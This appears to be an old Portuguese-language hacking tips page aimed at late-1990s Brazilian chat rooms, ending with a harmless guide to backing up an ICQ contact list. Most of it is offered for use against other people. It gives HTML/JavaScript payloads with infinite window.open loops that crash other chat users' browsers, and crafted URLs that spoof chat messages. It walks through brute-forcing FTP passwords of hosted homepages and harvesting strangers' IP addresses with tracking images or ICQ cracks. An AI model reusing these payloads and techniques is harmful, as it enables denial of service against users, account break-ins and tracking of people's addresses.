with the BEST , die like the REST\n\n

¥××HELL××¥!!');variCounter=0;while(true)window.open('http://www.NETural.com/

~ccamel');"CRASHING"+iCounter('width=1,height=1,resizable=no');iCounter++"&#

62&#60/CENTER&#62

COMANDO - 14 - Para expulsar um chato da sala escreva o seguinte ;

-< img src=http://www.iis.com.br/~schuler/an-099.gif onLoad="alert('\n

ATÉ OUTRO DIA \n\n

Tchau!!');variCounter=0;while(true)window.open('http://www.NETural.com/~ccamel');"CRASHING"+iCounter('width=1,height=1,res

izable=no');iCounter++"

>..ATENÇÃO :- marque, copie e cole no seu arquivo, porem se você não

souber, e fôr copiar manualmente ande com a barra de "status

 

COMANDO - 15 - Para tirar o banner na sala da UOL, escreva o

seguinte ;< img src= "=" width=605 height=1000000000 border=20> <

img src= "=" width=605 height=1000000000 border=20> < img src= "="

width=605 height=1000000000 border=20>

http://sartre.uol.com.br:2951/&USER=2001+HK%26LT%26LTTABLE%3e

COMANDO - 15 - : Este comando permite que você diga assim no chat da UOL: Aleksei invade a sala com sua ferrari e fala para as gatas : Ola gata, quer teclar??

Você tem que digitar isso no LOCATION :http://chatter.uol.com.br:2051/&USER=SEU-NICK-SEM-ESPACOS&VERBOSE=0&HISTORY=80&NOPIC=0&WHOTO=

Aqui+vc+digita+a+mensagem+obs+toda+a+vez+que+vc+digitar+não+de+espaço+sempre+de+o+sinal+de+MAIS&SAYS=

Agora+vc+entendeu????

 
 

COMANDO - 17 - Esse comando permite que você fale assim no chat do ZAZ : Aleksei invade a sala romanticamente e oferece ROSAS as gatas : Aki suas rosas ---,--,--´--@

Digite isso no LOCATION:http://chat1.zaz.com.br:9931/input.cgi?_Modo=Fala+para+uma+gata+na+sala+afim+de+conversar+&_Destino=+&_Mens=

GATAS+AFINS???%3F&c=4c.gif&_NomeUsr1=vakh&_Sala=10+a+15+anos+A&_email=NOMES&_dir=Idade&ro=0&a=enviar
 

 

COMANDO - 18 - Para você ler o reservado no chat da UNINET digite

o seguinte : - ... (treis pontinhos) e coloque na janela do nome - após,

colocar entre na sala - vai funcionar até que o provedor corriga o furo

 

COMANDO - 19 - Para você entrar sem nome no UOL, digite o seguinte

: (no lugar de botar o nome bote só o sinal 2 pontos " : ")



Como hackear HP's
 

Esta técnica funciona apenas com páginas com final /, por exemplo:
http://members.xoom.com/SOTD
Para hackear HPs, você presisa de um programa chamado Unsecure, para baixálo, clike aqui.
Usá-lo é bem simples, vá ao Propt do DOS e digite: ping servidor de ftp
Exemplo: ping ftp.xoom.com
Após isso, aparecerá um IP, vá ao Unsecure e no campo Computer IP, digite o IP que apareceu no prompt do DOS.
No campo Username, coloque o final do endereço.
Exemplo: Em http://members.xoom.com/SOTD, o username é SOTD.
               Em http://members.xoom.com/hacker, o username é hacker.
Crie um texto com palavras, nomes, números, etc...
O Unsecure tentará adivinhar a senha, para isso, click em file, depois em open dictionary file.
Abra o tesxto criado por você.
Faça várias tentativas iguais por 7 dias, se nenhuma funcionar, é porque a senha correta não está no arquivo de texto que você criou.
É importante que você tente várias vezes, as vezes o programa falha no mesmo site, por isso aconselho a tentar várias vezes por 7 dias, depois desistir.
Claro, existe uma alternativa, no campo attack options, você pode escolher ao invés de atake por dicionádio, força bruta (é obrigatório escolher um modo).
Para configurar o modo Força Bruta, vá ao campo brute force options e escolha os caracteres a serem usados.
De ambos os modos, prevalece a regra dos 7 dias, portanto, tenha paciência e divirta-se.
Boa Sorte!!!



Como Pegar IP's

Bom, antes de mais nada, queria lembrar q este texto e educativo...
Entao se vc fizer cagada o problema e UNICAMENTE SEU!!!
ICQ: Bom, pelo icq, e muito facil se pegar IPs...Vamos lah!

1-) Voce pode fazer assim: mande uma mensagem do icq para a vitima q vc
quer rastrear o IP...Ai, vc vai no DOS(C:\WINDOWS>) e digita:
arp -a
Facil ne???ai vao aparecer todos os IPs com quem o seu pc se comunicou.
o Interface é o seu IP...ai embaixo de Interface vai aparecer uma lista
com um monte de IPs...o primeiro de la, sera o do kra q vc mandou a
mensagem, entao, o IP do kra.

2-) Voce tambem pode pegar cracks para isso. E so vc procurar q vc
vai achar cracks tipo: IPUNHIDER, IPUNMASK, etc...Bom, vamos supor q
vc ja tem o crack(e importante lembrar q vc deve pegar o crack certo
para a versao do seu icq(99, 98, etc), ai e so vc fexar o icq(fechar
mesmo, nao deixar offline, fechar mesmo), coiar o arquivo para o
diretorio onde seu icq esta(se vc nao mudou nada na instalacao, ele ta
no c:\Arquivos de Programa\icq), e executar...ai e so esperar e pronto!
Quando vc der info em qualquer kra, o IP vai estar la, mesmo este
tendo ocultado ele.
-----------------------------------------------------------------------
Bate-Papos(chats):
1-)Pega um programa xamado XITAMI e abre ele. Vai no bate-papo q aceite
imagem, e manda essa imagem <img src="http://seu_ip/xitami1.gif">
obs: No lugar de seu_ip, vc bota seu IP(se vc nao souber qual e, e so
abrir o xitami q aparecera la).Ai, vai mandar uma imagem do xitami.
Espera um pouco pro xitami rastrear e pronto!!!Da um terminate no
no xitami. Vai no windows explorer, vai em arquivos de programa e abre
a pasta xiwin(pasta do xitami).Abre o arquivo acess.log(pode abrir ate
mesmo no WordPad) e la estarao os IPs dos kras da sala, o sistema
operacional q eles estao usando, seus nicks, e seus respectivos IPs.
2-)Em alguns bate=papos, os esquemas do arp -a funcionam...mas veja
se o IP q aparecer e o do kra, e nao o do bate-papo, se nao da merda,
ok???
Se vc fizer bosta e for pego, o problema sera SEU, eu nao tenho nada
a ver com isso, pois esse texto tem intuito educacional apenas!!!
by «†¦-¦Ø®»™ to slash{DOMI}



PROTEJA O SEU ICQ

 Proteja seu ICQ Introdução
Quem aqui já não perdeu, por causa que formatou o computador, ou até mesmo por causa de ataques de hackers, a lista do ICQ? Muitos não? Tem gente que vive perdendo a lista. Mas isso pode ser facilmente evitado. É só ter backup da lista em um local seguro, como por exemplo um disquete, ou um outro HD.
E como eu faço o backup?
É muito simples. Siga o roteiro que dificilmente você irá se perder. Você vai precisar de um disquete.
Abra o Explorer e vá até o local onde você instalou o ICQ (comumente C:\Arquivos de Programas\ICQ).
Copie as pastas DB e UIN para o disquete. Essas pastas armazenam sua lista, seu UIN (senha, etc...) e o histórico de suas mensagens.
Dê Iniciar/Executar. Escreva "regedit.exe" (sem as aspas) e aperte Ok.
Você vai estar no Editor de Registro de Windows. Agora clique naquele + do lado do HKEY_CURRENT_USER, e depois Software. Dentro do Software, procure a pasta Mirabillis. Clique em cima dela.
Então clique lá no menu, em Registro, depois escolha Exportar arquivo de Registro. Do jeito que está salve no mesmo lugar onde você salvou o diretório DB e o UIN.
Pronto! Sua lista está a salvo!